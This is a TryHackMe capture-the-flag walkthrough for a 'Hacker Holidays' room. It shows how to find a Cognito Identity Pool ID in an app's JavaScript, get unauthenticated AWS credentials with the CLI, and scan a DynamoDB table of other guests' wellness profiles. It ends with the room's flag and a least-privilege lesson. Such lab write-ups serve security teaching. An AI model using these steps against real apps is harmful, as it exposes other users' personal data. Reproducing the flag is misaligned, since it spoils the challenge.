Complimentary TryHackMe Walkthrough — HACKER HOLIDAYS

🛎️ Concierge Briefing Lambo installed the Byte Lotus Wellness app the day she arrived — it was free, it had great reviews (written by the app, but she didn't check), and it got her a tote bag for saying yes to camera, mic, contacts, and location access. No account needed. No login screen. It just… knows things about you the moment you open it.

That's the whole pitch: "complimentary" access, no friction, no sign-up. Something still has to be deciding what you're allowed to see, even without a login — and whatever that something is, it isn't checking very carefully.

Your objective: find out how the app knows anything about you at all, and see what else it's willing to hand over.

🗝️ ROOM ACCESS Target http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/ 🏖️ TODAY'S ITINERARY

Track down theAWS mechanism issuing you credentials behind the scenes.

Use those credentials to dump more than your own record from the app's DynamoDB table.

Retrieve the flag from another guest's data. 📸 @0xMia's STORY

@0xMia · posted 40 min after room unlock "okay wait, the wellness app never once asked me to log in and it STILL knew my name when I opened it 💀 something has to be quietly handing it access behind the scenes… if you find whatever that something is, don't just check what it gives YOU. ask it for more 👀"

AWS Cognito Misconfiguration: Exploiting Unauthenticated Access

This walkthrough demonstrates how misconfigured AWS Cognito Identity Pools can allow unauthenticated users to access sensitive data in DynamoDB. We'll exploit a vulnerable wellness app that issues temporary AWS credentials without requiring login.

Discover the Identity Pool ID

The target app uses AWS Cognito for "frictionless" access. Open browser DevTools and inspect the JavaScript source or network requests to find the Identity Pool ID.

How to get a pool ID?

Step 1) Go to Inspect.

Step 2) Click on Debugger Step 3) Go to app.js.

Obtain Temporary AWS Credentials

Using the exposed Identity Pool ID, request unauthenticated credentials via AWS CLI:

Get Identity POOL aws cognito-identity get-id — identity-pool-id "us-east-1:POOL-ID" — region us-east-1

Get temporary credentials aws cognito-identity get-credentials-for-identity — identity-id "us-east-1:IDENTITY-ID" — region us-east-1

Note AccessKeyId, SecretKey, and SessionToken.

Enumerate DynamoDB Tables

With temporary credentials, attempt to list tables:

export AWS_ACCESS_KEY_ID="…" export AWS_SECRET_ACCESS_KEY="…" export AWS_SESSION_TOKEN="…" export AWS_DEFAULT_REGION=us-east-1

Finding out the table's name and user table.

Step 1) Go to inspect and click on the Network tab and reload it.

Step 2) Click POST request on dynamodb and click response tab.

Extract Data via Scan

Once the table name is identified (e.g., complimentary-GuestWellnessProfiles), scan for all records:

aws dynamodb scan
— table-name "complimentary-GuestWellnessProfiles"
— region us-east-1

Filter for sensitive data:

aws dynamodb scan
— table-name "complimentary-GuestWellnessProfiles"
— region us-east-1
— output text | grep -i "flag|THM{"

Flag: THM{fr33_app_fr33_d4t4!}

Conclusion

AWS Cognito Identity Pools are powerful for guest access but dangerous when combined with broad IAM permissions. Always apply least-privilege principles: unauthenticated roles should only access resources explicitly tagged for public use, never sensitive user data.

#tryhackme #walkthrough #hacking #cybersecurity